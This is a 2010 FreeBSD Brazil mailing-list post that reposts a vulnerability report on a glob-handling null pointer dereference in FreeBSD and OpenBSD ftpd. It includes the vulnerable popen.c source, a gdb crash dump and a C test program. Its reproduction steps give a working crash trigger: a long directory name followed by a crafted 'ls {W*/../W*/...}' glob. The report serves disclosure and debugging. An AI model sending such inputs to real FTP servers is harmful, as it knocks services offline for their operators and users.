[FUG-BR] FreeBSD and OpenBSD ftpd bug
mantunes
mantunes.listas em gmail.com
Sexta Março 5 16:18:24 BRT 2010
ainda nao testei..
FreeBSD ftpd globbing bug - null pointer dereference ?
Affected FreeBSD Releases
+-+-+-+-+-+-+-+-+-+
FreeBSD 8.0, 6.3 and 4.9
Affected OpenBSD Releases
+-+-+-+-+-+-+-+-+-+
OpenBSD 4.6
Testing Environment
+-+-+-+-+-+-+-+-+-+
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov
21 15:48:17 UTC 2009
root at almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
Full Description
+-+-+-+-+-+-+-+-+-+
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in
its ftpd when handling globbing requests.
My investigation results in this being a null pointer dereference in popen.c.
I am not sure if this could be a heap overrun, but I don't think so.
from popen.c:
/* glob each piece */
gargv[0] = argv[0];
for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) {
glob_t gl;
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
[1] if (glob(argv[argc], flags, NULL, &gl))
gargv[gargc++] = strdup(argv[argc]);
[2] else
[3] for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1);
pop++)
gargv[gargc++] = strdup(*pop);
globfree(&gl);
}
At [1] glob() is called. if theres a long directory (for example "A" x
200) and a request like described
in "how to repeat this problem" is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl
structure. In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null
pointer and the ftpd instance crashes.
Could someone please shed some light into why glob doesn't fail but
gives a zeroed out structure back?
How to repeat the problem
+-+-+-+-+-+-+-+-+-+-+-+-+-+
$ ftp 192.168.2.11
Connected to 192.168.2.11.
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name (192.168.2.11:nr): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mkdir WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
257 "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
directory created.
ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.
---snip---
on the other side:
---snip---
0x282261e5 in read () at read.S:3
3 RSYSCALL(read)
Current language: auto; currently asm
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0805622c in getline ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbfbfd911 -1077946095
esp 0xbfbfba70 0xbfbfba70
ebp 0xbfbfcc08 0xbfbfcc08
esi 0x1 1
edi 0xbfbfcbf4 -1077949452
eip 0x805622c 0x805622c
eflags 0x10293 66195
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) x/10i $eip
0x805622c <getline+12620>: mov (%edx),%eax
0x805622e <getline+12622>: setle %cl
0x8056231 <getline+12625>: mov %ecx,%esi
0x8056233 <getline+12627>: test %eax,%eax
0x8056235 <getline+12629>: je 0x8056281 <getline+12705>
0x8056237 <getline+12631>: test %cl,%cl
0x8056239 <getline+12633>: je 0x8056281 <getline+12705>
0x805623b <getline+12635>: mov %edx,%ebx
0x805623d <getline+12637>: mov 0xffffee7c(%ebp),%edx
0x8056243 <getline+12643>: lea 0xffffee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
eip = 0x805622c in getline; saved eip 0x805047b
called by frame at 0xbfbfcc14
Arglist at 0xbfbfcc08, args:
Locals at 0xbfbfcc08, Previous frame's sp is 0xbfbfcc10
Saved registers:
ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at 0xbfbfcc04,
eip at 0xbfbfcc0c
(gdb)
Testing program:
---snip---
#include <glob.h>
#include <stdio.h>
#define MAXUSRARGS 100
#define MAXGLOBARGS 1000
void do_glob() {
glob_t gl;
char **pop;
char buffer[256];
strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf("GLOB FAILED!\n");
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}
main(int argc, char **argv) {
do_glob();
do_glob();
}
---snip---
--
Marcio Antunes
Powered by FreeBSD
==================================
* Windows: "Where do you want to go tomorrow?"
* Linux: "Where do you want to go today?"
* FreeBSD: "Are you, guys, comming or what?"
Mais detalhes sobre a lista de discussão freebsd